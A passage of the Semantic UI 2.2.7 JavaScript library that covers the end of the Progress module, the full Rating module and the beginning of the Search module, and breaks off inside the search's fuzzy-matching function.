module.set.total(settings.total); } if(settings.value !== false) { module.debug('Current value set in settings', settings.value); module.set.value(settings.value); module.set.progress(module.value); } if(settings.percent !== false) { module.debug('Current percent set in settings', settings.percent); module.set.percent(settings.percent); } } }, bind: { transitionEnd: function(callback) { var transitionEnd = module.get.transitionEnd() ; $bar .one(transitionEnd + eventNamespace, function(event) { clearTimeout(module.failSafeTimer); callback.call(this, event); }) ; module.failSafeTimer = setTimeout(function() { $bar.triggerHandler(transitionEnd); }, settings.duration + settings.failSafeDelay); module.verbose('Adding fail safe timer', module.timer); } }, increment: function(incrementValue) { var maxValue, startValue, newValue ; if( module.has.total() ) { startValue = module.get.value(); incrementValue = incrementValue || 1; newValue = startValue + incrementValue; } else { startValue = module.get.percent(); incrementValue = incrementValue || module.get.randomValue(); newValue = startValue + incrementValue; maxValue = 100; module.debug('Incrementing percentage by', startValue, newValue); } newValue = module.get.normalizedValue(newValue); module.set.progress(newValue); }, decrement: function(decrementValue) { var total = module.get.total(), startValue, newValue ; if(total) { startValue = module.get.value(); decrementValue = decrementValue || 1; newValue = startValue - decrementValue; module.debug('Decrementing value by', decrementValue, startValue); } else { startValue = module.get.percent(); decrementValue = decrementValue || module.get.randomValue(); newValue = startValue - decrementValue; module.debug('Decrementing percentage by', decrementValue, startValue); } newValue = module.get.normalizedValue(newValue); module.set.progress(newValue); }, has: { progressPoll: function() { return module.progressPoll; }, total: function() { return (module.get.total() !== false); } }, get: { text: function(templateText) { var value = module.value || 0, total = module.total || 0, percent = (animating) ? module.get.displayPercent() : module.percent || 0, left = (module.total > 0) ? (total - value) : (100 - percent) ; templateText = templateText || ''; templateText = templateText .replace('{value}', value) .replace('{total}', total) .replace('{left}', left) .replace('{percent}', percent) ; module.verbose('Adding variables to progress bar text', templateText); return templateText; }, normalizedValue: function(value) { if(value < 0) { module.debug('Value cannot decrement below 0'); return 0; } if(module.has.total()) { if(value > module.total) { module.debug('Value cannot increment above total', module.total); return module.total; } } else if(value > 100 ) { module.debug('Value cannot increment above 100 percent'); return 100; } return value; }, updateInterval: function() { if(settings.updateInterval == 'auto') { return settings.duration; } return settings.updateInterval; }, randomValue: function() { module.debug('Generating random increment percentage'); return Math.floor((Math.random() * settings.random.max) + settings.random.min); }, numericValue: function(value) { return (typeof value === 'string') ? (value.replace(/[^\d.]/g, '') !== '') ? +(value.replace(/[^\d.]/g, '')) : false : value ; }, transitionEnd: function() { var element = document.createElement('element'), transitions = { 'transition' :'transitionend', 'OTransition' :'oTransitionEnd', 'MozTransition' :'transitionend', 'WebkitTransition' :'webkitTransitionEnd' }, transition ; for(transition in transitions){ if( element.style[transition] !== undefined ){ return transitions[transition]; } } }, // gets current displayed percentage (if animating values this is the intermediary value) displayPercent: function() { var barWidth = $bar.width(), totalWidth = $module.width(), minDisplay = parseInt($bar.css('min-width'), 10), displayPercent = (barWidth > minDisplay) ? (barWidth / totalWidth * 100) : module.percent ; return (settings.precision > 0) ? Math.round(displayPercent * (10 * settings.precision)) / (10 * settings.precision) : Math.round(displayPercent) ; }, percent: function() { return module.percent || 0; }, value: function() { return module.nextValue || module.value || 0; }, total: function() { return module.total || false; } }, create: { progressPoll: function() { module.progressPoll = setTimeout(function() { module.update.toNextValue(); module.remove.progressPoll(); }, module.get.updateInterval()); }, }, is: { complete: function() { return module.is.success() || module.is.warning() || module.is.error(); }, success: function() { return $module.hasClass(className.success); }, warning: function() { return $module.hasClass(className.warning); }, error: function() { return $module.hasClass(className.error); }, active: function() { return $module.hasClass(className.active); }, visible: function() { return $module.is(':visible'); } }, remove: { progressPoll: function() { module.verbose('Removing progress poll timer'); if(module.progressPoll) { clearTimeout(module.progressPoll); delete module.progressPoll; } }, nextValue: function() { module.verbose('Removing progress value stored for next update'); delete module.nextValue; }, state: function() { module.verbose('Removing stored state'); delete module.total; delete module.percent; delete module.value; }, active: function() { module.verbose('Removing active state'); $module.removeClass(className.active); }, success: function() { module.verbose('Removing success state'); $module.removeClass(className.success); }, warning: function() { module.verbose('Removing warning state'); $module.removeClass(className.warning); }, error: function() { module.verbose('Removing error state'); $module.removeClass(className.error); } }, set: { barWidth: function(value) { if(value > 100) { module.error(error.tooHigh, value); } else if (value < 0) { module.error(error.tooLow, value); } else { $bar .css('width', value + '%') ; $module .attr('data-percent', parseInt(value, 10)) ; } }, duration: function(duration) { duration = duration || settings.duration; duration = (typeof duration == 'number') ? duration + 'ms' : duration ; module.verbose('Setting progress bar transition duration', duration); $bar .css({ 'transition-duration': duration }) ; }, percent: function(percent) { percent = (typeof percent == 'string') ? +(percent.replace('%', '')) : percent ; // round display percentage percent = (settings.precision > 0) ? Math.round(percent * (10 * settings.precision)) / (10 * settings.precision) : Math.round(percent) ; module.percent = percent; if( !module.has.total() ) { module.value = (settings.precision > 0) ? Math.round( (percent / 100) * module.total * (10 * settings.precision)) / (10 * settings.precision) : Math.round( (percent / 100) * module.total * 10) / 10 ; if(settings.limitValues) { module.value = (module.value > 100) ? 100 : (module.value < 0) ? 0 : module.value ; } } module.set.barWidth(percent); module.set.labelInterval(); module.set.labels(); settings.onChange.call(element, percent, module.value, module.total); }, labelInterval: function() { var animationCallback = function() { module.verbose('Bar finished animating, removing continuous label updates'); clearInterval(module.interval); animating = false; module.set.labels(); } ; clearInterval(module.interval); module.bind.transitionEnd(animationCallback); animating = true; module.interval = setInterval(function() { var isInDOM = $.contains(document.documentElement, element) ; if(!isInDOM) { clearInterval(module.interval); animating = false; } module.set.labels(); }, settings.framerate); }, labels: function() { module.verbose('Setting both bar progress and outer label text'); module.set.barLabel(); module.set.state(); }, label: function(text) { text = text || ''; if(text) { text = module.get.text(text); module.verbose('Setting label to text', text); $label.text(text); } }, state: function(percent) { percent = (percent !== undefined) ? percent : module.percent ; if(percent === 100) { if(settings.autoSuccess && !(module.is.warning() || module.is.error() || module.is.success())) { module.set.success(); module.debug('Automatically triggering success at 100%'); } else { module.verbose('Reached 100% removing active state'); module.remove.active(); module.remove.progressPoll(); } } else if(percent > 0) { module.verbose('Adjusting active progress bar label', percent); module.set.active(); } else { module.remove.active(); module.set.label(settings.text.active); } }, barLabel: function(text) { if(text !== undefined) { $progress.text( module.get.text(text) ); } else if(settings.label == 'ratio' && module.total) { module.verbose('Adding ratio to bar label'); $progress.text( module.get.text(settings.text.ratio) ); } else if(settings.label == 'percent') { module.verbose('Adding percentage to bar label'); $progress.text( module.get.text(settings.text.percent) ); } }, active: function(text) { text = text || settings.text.active; module.debug('Setting active state'); if(settings.showActivity && !module.is.active() ) { $module.addClass(className.active); } module.remove.warning(); module.remove.error(); module.remove.success(); text = settings.onLabelUpdate('active', text, module.value, module.total); if(text) { module.set.label(text); } module.bind.transitionEnd(function() { settings.onActive.call(element, module.value, module.total); }); }, success : function(text) { text = text || settings.text.success || settings.text.active; module.debug('Setting success state'); $module.addClass(className.success); module.remove.active(); module.remove.warning(); module.remove.error(); module.complete(); if(settings.text.success) { text = settings.onLabelUpdate('success', text, module.value, module.total); module.set.label(text); } else { text = settings.onLabelUpdate('active', text, module.value, module.total); module.set.label(text); } module.bind.transitionEnd(function() { settings.onSuccess.call(element, module.total); }); }, warning : function(text) { text = text || settings.text.warning; module.debug('Setting warning state'); $module.addClass(className.warning); module.remove.active(); module.remove.success(); module.remove.error(); module.complete(); text = settings.onLabelUpdate('warning', text, module.value, module.total); if(text) { module.set.label(text); } module.bind.transitionEnd(function() { settings.onWarning.call(element, module.value, module.total); }); }, error : function(text) { text = text || settings.text.error; module.debug('Setting error state'); $module.addClass(className.error); module.remove.active(); module.remove.success(); module.remove.warning(); module.complete(); text = settings.onLabelUpdate('error', text, module.value, module.total); if(text) { module.set.label(text); } module.bind.transitionEnd(function() { settings.onError.call(element, module.value, module.total); }); }, transitionEvent: function() { transitionEnd = module.get.transitionEnd(); }, total: function(totalValue) { module.total = totalValue; }, value: function(value) { module.value = value; }, progress: function(value) { if(!module.has.progressPoll()) { module.debug('First update in progress update interval, immediately updating', value); module.update.progress(value); module.create.progressPoll(); } else { module.debug('Updated within interval, setting next update to use new value', value); module.set.nextValue(value); } }, nextValue: function(value) { module.nextValue = value; } }, update: { toNextValue: function() { var nextValue = module.nextValue ; if(nextValue) { module.debug('Update interval complete using last updated value', nextValue); module.update.progress(nextValue); module.remove.nextValue(); } }, progress: function(value) { var percentComplete ; value = module.get.numericValue(value); if(value === false) { module.error(error.nonNumeric, value); } value = module.get.normalizedValue(value); if( module.has.total() ) { module.set.value(value); percentComplete = (value / module.total) * 100; module.debug('Calculating percent complete from total', percentComplete); module.set.percent( percentComplete ); } else { percentComplete = value; module.debug('Setting value to exact percentage value', percentComplete); module.set.percent( percentComplete ); } } }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { if($.isPlainObject(settings[name])) { $.extend(true, settings[name], value); } else { settings[name] = value; } } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(!settings.silent && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(!settings.silent && settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { if(!settings.silent) { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); } }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { module.error(error.method, query); return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.progress.settings = { name : 'Progress', namespace : 'progress', silent : false, debug : false, verbose : false, performance : true, random : { min : 2, max : 5 }, duration : 300, updateInterval : 'auto', autoSuccess : true, showActivity : true, limitValues : true, label : 'percent', precision : 0, framerate : (1000 / 30), /// 30 fps percent : false, total : false, value : false, // delay in ms for fail safe animation callback failSafeDelay : 100, onLabelUpdate : function(state, text, value, total){ return text; }, onChange : function(percent, value, total){}, onSuccess : function(total){}, onActive : function(value, total){}, onError : function(value, total){}, onWarning : function(value, total){}, error : { method : 'The method you called is not defined.', nonNumeric : 'Progress value is non numeric', tooHigh : 'Value specified is above 100%', tooLow : 'Value specified is below 0%' }, regExp: { variable: /\{\$*[A-z0-9]+\}/g }, metadata: { percent : 'percent', total : 'total', value : 'value' }, selector : { bar : '> .bar', label : '> .label', progress : '.bar > .progress' }, text : { active : false, error : false, success : false, warning : false, percent : '{percent}%', ratio : '{value} of {total}' }, className : { active : 'active', error : 'error', success : 'success', warning : 'warning' } }; })( jQuery, window, document ); /*! * # Semantic UI 2.2.7 - Rating * path_to_url * * * Released under the MIT license * path_to_url * */ ;(function ($, window, document, undefined) { "use strict"; window = (typeof window != 'undefined' && window.Math == Math) ? window : (typeof self != 'undefined' && self.Math == Math) ? self : Function('return this')() ; $.fn.rating = function(parameters) { var $allModules = $(this), moduleSelector = $allModules.selector || '', time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), returnedValue ; $allModules .each(function() { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.rating.settings, parameters) : $.extend({}, $.fn.rating.settings), namespace = settings.namespace, className = settings.className, metadata = settings.metadata, selector = settings.selector, error = settings.error, eventNamespace = '.' + namespace, moduleNamespace = 'module-' + namespace, element = this, instance = $(this).data(moduleNamespace), $module = $(this), $icon = $module.find(selector.icon), initialLoad, module ; module = { initialize: function() { module.verbose('Initializing rating module', settings); if($icon.length === 0) { module.setup.layout(); } if(settings.interactive) { module.enable(); } else { module.disable(); } module.set.initialLoad(); module.set.rating( module.get.initialRating() ); module.remove.initialLoad(); module.instantiate(); }, instantiate: function() { module.verbose('Instantiating module', settings); instance = module; $module .data(moduleNamespace, module) ; }, destroy: function() { module.verbose('Destroying previous instance', instance); module.remove.events(); $module .removeData(moduleNamespace) ; }, refresh: function() { $icon = $module.find(selector.icon); }, setup: { layout: function() { var maxRating = module.get.maxRating(), html = $.fn.rating.settings.templates.icon(maxRating) ; module.debug('Generating icon html dynamically'); $module .html(html) ; module.refresh(); } }, event: { mouseenter: function() { var $activeIcon = $(this) ; $activeIcon .nextAll() .removeClass(className.selected) ; $module .addClass(className.selected) ; $activeIcon .addClass(className.selected) .prevAll() .addClass(className.selected) ; }, mouseleave: function() { $module .removeClass(className.selected) ; $icon .removeClass(className.selected) ; }, click: function() { var $activeIcon = $(this), currentRating = module.get.rating(), rating = $icon.index($activeIcon) + 1, canClear = (settings.clearable == 'auto') ? ($icon.length === 1) : settings.clearable ; if(canClear && currentRating == rating) { module.clearRating(); } else { module.set.rating( rating ); } } }, clearRating: function() { module.debug('Clearing current rating'); module.set.rating(0); }, bind: { events: function() { module.verbose('Binding events'); $module .on('mouseenter' + eventNamespace, selector.icon, module.event.mouseenter) .on('mouseleave' + eventNamespace, selector.icon, module.event.mouseleave) .on('click' + eventNamespace, selector.icon, module.event.click) ; } }, remove: { events: function() { module.verbose('Removing events'); $module .off(eventNamespace) ; }, initialLoad: function() { initialLoad = false; } }, enable: function() { module.debug('Setting rating to interactive mode'); module.bind.events(); $module .removeClass(className.disabled) ; }, disable: function() { module.debug('Setting rating to read-only mode'); module.remove.events(); $module .addClass(className.disabled) ; }, is: { initialLoad: function() { return initialLoad; } }, get: { initialRating: function() { if($module.data(metadata.rating) !== undefined) { $module.removeData(metadata.rating); return $module.data(metadata.rating); } return settings.initialRating; }, maxRating: function() { if($module.data(metadata.maxRating) !== undefined) { $module.removeData(metadata.maxRating); return $module.data(metadata.maxRating); } return settings.maxRating; }, rating: function() { var currentRating = $icon.filter('.' + className.active).length ; module.verbose('Current rating retrieved', currentRating); return currentRating; } }, set: { rating: function(rating) { var ratingIndex = (rating - 1 >= 0) ? (rating - 1) : 0, $activeIcon = $icon.eq(ratingIndex) ; $module .removeClass(className.selected) ; $icon .removeClass(className.selected) .removeClass(className.active) ; if(rating > 0) { module.verbose('Setting current rating to', rating); $activeIcon .prevAll() .addBack() .addClass(className.active) ; } if(!module.is.initialLoad()) { settings.onRate.call(element, rating); } }, initialLoad: function() { initialLoad = true; } }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { if($.isPlainObject(settings[name])) { $.extend(true, settings[name], value); } else { settings[name] = value; } } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(!settings.silent && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(!settings.silent && settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { if(!settings.silent) { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); } }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if($allModules.length > 1) { title += ' ' + '(' + $allModules.length + ')'; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.rating.settings = { name : 'Rating', namespace : 'rating', slent : false, debug : false, verbose : false, performance : true, initialRating : 0, interactive : true, maxRating : 4, clearable : 'auto', fireOnInit : false, onRate : function(rating){}, error : { method : 'The method you called is not defined', noMaximum : 'No maximum rating specified. Cannot generate HTML automatically' }, metadata: { rating : 'rating', maxRating : 'maxRating' }, className : { active : 'active', disabled : 'disabled', selected : 'selected', loading : 'loading' }, selector : { icon : '.icon' }, templates: { icon: function(maxRating) { var icon = 1, html = '' ; while(icon <= maxRating) { html += '<i class="icon"></i>'; icon++; } return html; } } }; })( jQuery, window, document ); /*! * # Semantic UI 2.2.7 - Search * path_to_url * * * Released under the MIT license * path_to_url * */ ;(function ($, window, document, undefined) { "use strict"; window = (typeof window != 'undefined' && window.Math == Math) ? window : (typeof self != 'undefined' && self.Math == Math) ? self : Function('return this')() ; $.fn.search = function(parameters) { var $allModules = $(this), moduleSelector = $allModules.selector || '', time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), returnedValue ; $(this) .each(function() { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.search.settings, parameters) : $.extend({}, $.fn.search.settings), className = settings.className, metadata = settings.metadata, regExp = settings.regExp, fields = settings.fields, selector = settings.selector, error = settings.error, namespace = settings.namespace, eventNamespace = '.' + namespace, moduleNamespace = namespace + '-module', $module = $(this), $prompt = $module.find(selector.prompt), $searchButton = $module.find(selector.searchButton), $results = $module.find(selector.results), $result = $module.find(selector.result), $category = $module.find(selector.category), element = this, instance = $module.data(moduleNamespace), disabledBubbled = false, module ; module = { initialize: function() { module.verbose('Initializing module'); module.determine.searchFields(); module.bind.events(); module.set.type(); module.create.results(); module.instantiate(); }, instantiate: function() { module.verbose('Storing instance of module', module); instance = module; $module .data(moduleNamespace, module) ; }, destroy: function() { module.verbose('Destroying instance'); $module .off(eventNamespace) .removeData(moduleNamespace) ; }, refresh: function() { module.debug('Refreshing selector cache'); $prompt = $module.find(selector.prompt); $searchButton = $module.find(selector.searchButton); $category = $module.find(selector.category); $results = $module.find(selector.results); $result = $module.find(selector.result); }, refreshResults: function() { $results = $module.find(selector.results); $result = $module.find(selector.result); }, bind: { events: function() { module.verbose('Binding events to search'); if(settings.automatic) { $module .on(module.get.inputEvent() + eventNamespace, selector.prompt, module.event.input) ; $prompt .attr('autocomplete', 'off') ; } $module // prompt .on('focus' + eventNamespace, selector.prompt, module.event.focus) .on('blur' + eventNamespace, selector.prompt, module.event.blur) .on('keydown' + eventNamespace, selector.prompt, module.handleKeyboard) // search button .on('click' + eventNamespace, selector.searchButton, module.query) // results .on('mousedown' + eventNamespace, selector.results, module.event.result.mousedown) .on('mouseup' + eventNamespace, selector.results, module.event.result.mouseup) .on('click' + eventNamespace, selector.result, module.event.result.click) ; } }, determine: { searchFields: function() { // this makes sure $.extend does not add specified search fields to default fields // this is the only setting which should not extend defaults if(parameters && parameters.searchFields !== undefined) { settings.searchFields = parameters.searchFields; } } }, event: { input: function() { clearTimeout(module.timer); module.timer = setTimeout(module.query, settings.searchDelay); }, focus: function() { module.set.focus(); if( module.has.minimumCharacters() ) { module.query(); if( module.can.show() ) { module.showResults(); } } }, blur: function(event) { var pageLostFocus = (document.activeElement === this), callback = function() { module.cancel.query(); module.remove.focus(); module.timer = setTimeout(module.hideResults, settings.hideDelay); } ; if(pageLostFocus) { return; } if(module.resultsClicked) { module.debug('Determining if user action caused search to close'); $module .one('click.close' + eventNamespace, selector.results, function(event) { if(module.is.inMessage(event) || disabledBubbled) { $prompt.focus(); return; } disabledBubbled = false; if( !module.is.animating() && !module.is.hidden()) { callback(); } }) ; } else { module.debug('Input blurred without user action, closing results'); callback(); } }, result: { mousedown: function() { module.resultsClicked = true; }, mouseup: function() { module.resultsClicked = false; }, click: function(event) { module.debug('Search result selected'); var $result = $(this), $title = $result.find(selector.title).eq(0), $link = $result.is('a[href]') ? $result : $result.find('a[href]').eq(0), href = $link.attr('href') || false, target = $link.attr('target') || false, title = $title.html(), // title is used for result lookup value = ($title.length > 0) ? $title.text() : false, results = module.get.results(), result = $result.data(metadata.result) || module.get.result(value, results), returnedValue ; if( $.isFunction(settings.onSelect) ) { if(settings.onSelect.call(element, result, results) === false) { module.debug('Custom onSelect callback cancelled default select action'); disabledBubbled = true; return; } } module.hideResults(); if(value) { module.set.value(value); } if(href) { module.verbose('Opening search link found in result', $link); if(target == '_blank' || event.ctrlKey) { window.open(href); } else { window.location.href = (href); } } } } }, handleKeyboard: function(event) { var // force selector refresh $result = $module.find(selector.result), $category = $module.find(selector.category), $activeResult = $result.filter('.' + className.active), currentIndex = $result.index( $activeResult ), resultSize = $result.length, hasActiveResult = $activeResult.length > 0, keyCode = event.which, keys = { backspace : 8, enter : 13, escape : 27, upArrow : 38, downArrow : 40 }, newIndex ; // search shortcuts if(keyCode == keys.escape) { module.verbose('Escape key pressed, blurring search field'); module.trigger.blur(); } if( module.is.visible() ) { if(keyCode == keys.enter) { module.verbose('Enter key pressed, selecting active result'); if( $result.filter('.' + className.active).length > 0 ) { module.event.result.click.call($result.filter('.' + className.active), event); event.preventDefault(); return false; } } else if(keyCode == keys.upArrow && hasActiveResult) { module.verbose('Up key pressed, changing active result'); newIndex = (currentIndex - 1 < 0) ? currentIndex : currentIndex - 1 ; $category .removeClass(className.active) ; $result .removeClass(className.active) .eq(newIndex) .addClass(className.active) .closest($category) .addClass(className.active) ; event.preventDefault(); } else if(keyCode == keys.downArrow) { module.verbose('Down key pressed, changing active result'); newIndex = (currentIndex + 1 >= resultSize) ? currentIndex : currentIndex + 1 ; $category .removeClass(className.active) ; $result .removeClass(className.active) .eq(newIndex) .addClass(className.active) .closest($category) .addClass(className.active) ; event.preventDefault(); } } else { // query shortcuts if(keyCode == keys.enter) { module.verbose('Enter key pressed, executing query'); module.query(); module.set.buttonPressed(); $prompt.one('keyup', module.remove.buttonFocus); } } }, setup: { api: function(searchTerm) { var apiSettings = { debug : settings.debug, on : false, cache : true, action : 'search', urlData : { query : searchTerm }, onSuccess : function(response) { module.parse.response.call(element, response, searchTerm); }, onAbort : function(response) { }, onFailure : function() { module.displayMessage(error.serverError); }, onError : module.error }, searchHTML ; $.extend(true, apiSettings, settings.apiSettings); module.verbose('Setting up API request', apiSettings); $module.api(apiSettings); } }, can: { useAPI: function() { return $.fn.api !== undefined; }, show: function() { return module.is.focused() && !module.is.visible() && !module.is.empty(); }, transition: function() { return settings.transition && $.fn.transition !== undefined && $module.transition('is supported'); } }, is: { animating: function() { return $results.hasClass(className.animating); }, hidden: function() { return $results.hasClass(className.hidden); }, inMessage: function(event) { if(!event.target) { return; } var $target = $(event.target), isInDOM = $.contains(document.documentElement, event.target) ; return (isInDOM && $target.closest(selector.message).length > 0); }, empty: function() { return ($results.html() === ''); }, visible: function() { return ($results.filter(':visible').length > 0); }, focused: function() { return ($prompt.filter(':focus').length > 0); } }, trigger: { blur: function() { var events = document.createEvent('HTMLEvents'), promptElement = $prompt[0] ; if(promptElement) { module.verbose('Triggering native blur event'); events.initEvent('blur', false, false); promptElement.dispatchEvent(events); } } }, get: { inputEvent: function() { var prompt = $prompt[0], inputEvent = (prompt !== undefined && prompt.oninput !== undefined) ? 'input' : (prompt !== undefined && prompt.onpropertychange !== undefined) ? 'propertychange' : 'keyup' ; return inputEvent; }, value: function() { return $prompt.val(); }, results: function() { var results = $module.data(metadata.results) ; return results; }, result: function(value, results) { var lookupFields = ['title', 'id'], result = false ; value = (value !== undefined) ? value : module.get.value() ; results = (results !== undefined) ? results : module.get.results() ; if(settings.type === 'category') { module.debug('Finding result that matches', value); $.each(results, function(index, category) { if($.isArray(category.results)) { result = module.search.object(value, category.results, lookupFields)[0]; // don't continue searching if a result is found if(result) { return false; } } }); } else { module.debug('Finding result in results object', value); result = module.search.object(value, results, lookupFields)[0]; } return result || false; }, }, select: { firstResult: function() { module.verbose('Selecting first result'); $result.first().addClass(className.active); } }, set: { focus: function() { $module.addClass(className.focus); }, loading: function() { $module.addClass(className.loading); }, value: function(value) { module.verbose('Setting search input value', value); $prompt .val(value) ; }, type: function(type) { type = type || settings.type; if(settings.type == 'category') { $module.addClass(settings.type); } }, buttonPressed: function() { $searchButton.addClass(className.pressed); } }, remove: { loading: function() { $module.removeClass(className.loading); }, focus: function() { $module.removeClass(className.focus); }, buttonPressed: function() { $searchButton.removeClass(className.pressed); } }, query: function() { var searchTerm = module.get.value(), cache = module.read.cache(searchTerm) ; if( module.has.minimumCharacters() ) { if(cache) { module.debug('Reading result from cache', searchTerm); module.save.results(cache.results); module.addResults(cache.html); module.inject.id(cache.results); } else { module.debug('Querying for', searchTerm); if($.isPlainObject(settings.source) || $.isArray(settings.source)) { module.search.local(searchTerm); } else if( module.can.useAPI() ) { module.search.remote(searchTerm); } else { module.error(error.source); } } settings.onSearchQuery.call(element, searchTerm); } else { module.hideResults(); } }, search: { local: function(searchTerm) { var results = module.search.object(searchTerm, settings.content), searchHTML ; module.set.loading(); module.save.results(results); module.debug('Returned local search results', results); searchHTML = module.generateResults({ results: results }); module.remove.loading(); module.addResults(searchHTML); module.inject.id(results); module.write.cache(searchTerm, { html : searchHTML, results : results }); }, remote: function(searchTerm) { if($module.api('is loading')) { $module.api('abort'); } module.setup.api(searchTerm); $module .api('query') ; }, object: function(searchTerm, source, searchFields) { var results = [], fuzzyResults = [], searchExp = searchTerm.toString().replace(regExp.escape, '\\$&'), matchRegExp = new RegExp(regExp.beginsWith + searchExp, 'i'), // avoid duplicates when pushing results addResult = function(array, result) { var notResult = ($.inArray(result, results) == -1), notFuzzyResult = ($.inArray(result, fuzzyResults) == -1) ; if(notResult && notFuzzyResult) { array.push(result); } } ; source = source || settings.source; searchFields = (searchFields !== undefined) ? searchFields : settings.searchFields ; // search fields should be array to loop correctly if(!$.isArray(searchFields)) { searchFields = [searchFields]; } // exit conditions if no source if(source === undefined || source === false) { module.error(error.source); return []; } // iterate through search fields looking for matches $.each(searchFields, function(index, field) { $.each(source, function(label, content) { var fieldExists = (typeof content[field] == 'string') ; if(fieldExists) { if( content[field].search(matchRegExp) !== -1) { // content starts with value (first in results) addResult(results, content); } else if(settings.searchFullText && module.fuzzySearch(searchTerm, content[field]) ) { // content fuzzy matches (last in results) addResult(fuzzyResults, content); } } }); }); return $.merge(results, fuzzyResults); } }, fuzzySearch: function(query, term) { var termLength = term.length, queryLength = query.length ; if(typeof query !== 'string') { return false; } query = query.toLowerCase(); term = term.toLowerCase(); if(queryLength > termLength) { return false; } 